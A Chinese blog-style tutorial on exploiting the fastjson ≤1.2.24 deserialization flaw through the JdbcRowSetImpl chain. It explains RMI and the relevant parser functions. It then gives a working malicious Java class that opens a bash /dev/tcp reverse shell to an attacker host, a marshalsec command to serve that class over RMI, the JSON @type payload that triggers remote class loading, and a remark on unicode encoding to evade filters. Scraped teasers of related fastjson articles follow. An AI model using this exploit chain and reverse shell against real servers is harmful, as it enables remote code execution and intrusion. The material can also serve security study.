[java安全]fastjson≤1.2.24结合jdbcrowsetimpl利用链(代码片段)

Y4tacker Y4tacker     2022-12-07     524

关键词:

RMI

首先不得不提一下RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
一个简单的例子,首先是server端

Server分三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()
  2. ⼀个实现了此接⼝的类
  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server 了。
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer 
    public interface IRemoteCall extends Remote 
        public String hello() throws RemoteException;
    

    public class RemoteCall extends UnicastRemoteObject implements
        IRemoteCall 
        protected RemoteCall() throws RemoteException 
            super();
        

        public String hello() throws RemoteException 
            return "Hello";
        
    

    private void start() throws Exception 
        RemoteCall h = new RemoteCall();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    

    public static void main(String[] args) throws Exception 
        new RMIServer().start();
    


接下来通过客户端进行调用

import com.exploit.RMIServer
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class Test 
    public static void main(String[] args) throws Exception 
        RMIServer.IRemoteCall hello = (RMIServer.IRemoteCall)
            Naming.lookup("rmi://192.168.135.142:1099/Hello");
        String ret = hello.hello();
        System.out.println(ret);
    


Fastjson RCE关键函数

DefaultJSONParser.parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理

TypeUtils.loadClass() 根据传入的类名,生成类的实例

JavaBeanDeserializer.Deserialze() 依次调用 @type中传入类的对象公有 set\\get\\is 方法。

ParserConfig.checkAutoType()阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

实际利用演示

我们借助marshalsec项目,启动一个RMI服务器,监听46000端口,并制定加载远程类TouchFile.class

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class TouchFile
    public TouchFile() throws Exception 
        Process p = Runtime.getRuntime().exec(new String[]"/bin/bash","-c","exec 5<>/dev/tcp/ip/46001;cat <&5 | while read line; do $line 2>&5 >&5; done");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) 
            System.out.println(line);
        

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    

    public static void main(String[] args) throws Exception 
    


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#TouchFile" 46000

接下来我们向服务器发送Payload,带上RMI的地址:
在这里插入图片描述

可以看见,成功反弹shell,帅气
在这里插入图片描述
当然我们甚至也可以使用unicode编码进行一些简单的绕过
在这里插入图片描述
这样一样可以接收到反弹的shell

JdbcRowSetImpl利用链分析

我们可以看见在其connect方法当中存在lookup方法并且我们跟踪看看this.getDataSourceName()
在这里插入图片描述
k

在这里插入图片描述
我们同时也可以找到赋值的set方法

在这里插入图片描述
调用这个set方法并不难(用@type),难点在于我们如何去调用这个connect方法,完美找到一个带set方法的调用,这里可以调用connect
在这里插入图片描述
那一切问题便迎刃而解,我们只需要按照调用顺序构造

"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://rmi服务ip:端口/Exploit","autoCommit":true

参考文章

https://zhuanlan.zhihu.com/p/73428357
https://blog.csdn.net/further_eye/article/details/109718241
https://www.freebuf.com/vuls/208339.html
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析(代码片段)

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>fastjson是alibaba开... 查看详情

15-java安全——fastjson反序列化1.2.25-1.2.41版本绕过(代码片段)

1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情

14-java安全——fastjson1.2.24反序列化jdbcrowsetimpl利用链分析(代码片段)

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经... 查看详情

安全-fastjson小于等于1.2.24版本代码执行漏洞复现(vulhub)(代码片段)

文章目录前言一、环境[1].目标机(Debian5)[2].攻击机(Windows10)二、漏洞复现[1].编译marshalsec项目[2].开启环境[3].编译恶意class[4].Python开启HTTP服务[5].marshalsec开启LDAP或RMI服务[6].发送恶意json语句[7].检测漏洞利用情... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义... 查看详情

fastjson漏洞-fastjson1.2.47反序列化漏洞(代码片段)

文章目录Fastjson简介历史漏洞Fastjson<1.2.41Fastjson<1.2.42Fastjson<1.2.47Fastjson<1.2.66漏洞发现Fastjson寻找Fastjson报错识别漏洞检测漏洞复现Fastjson1.2.47反序列化漏洞影响版本实验环境JNDIJNDI注入+RMIJNDI注入+RMI利用Fastjson简介Fast... 查看详情

[java安全]fastjson学习(代码片段)

前言之前的文章的补充了,咕了半年再好好学学fastjson。初认fastjsonFastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在... 查看详情

[java安全]fastjson学习(代码片段)

前言之前的文章的补充了,咕了半年再好好学学fastjson。初认fastjsonFastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在... 查看详情

[java安全]fastjson学习(代码片段)

前言开始学习fastjson,TemplatesImpl利用链让我跟的脑子疼,还是太菜了,断点打到后面整个人都是懵的。初认fastjsonFastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。Fa... 查看详情

[java安全]fastjson学习(代码片段)

前言开始学习fastjson,TemplatesImpl利用链让我跟的脑子疼,还是太菜了,断点打到后面整个人都是懵的。初认fastjsonFastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。Fa... 查看详情

fastjson反序列化漏洞(代码片段)

Fastjson反序列化漏洞目录Fastjson反序列化漏洞一、Fastjson介绍1、什么是fastjson?2、fastjson的优点二、影响范围:三、漏洞原理四、漏洞利用五、漏洞发现六、漏洞修复一、Fastjson介绍1、什么是fastjson?fastjson是阿里巴巴的开源JSON解... 查看详情

fastjson<=1.2.24jdbcrowsetimpl利用链分析(代码片段)

前言上文分析了TemplatesImpl利用链,对fastjsonparseObject函数进行了分析,明白了整个触发漏洞的流程,接着来学习JdbcRowSetImpl利用链,JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只... 查看详情

13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1. 查看详情

13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析(代码片段)

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1. 查看详情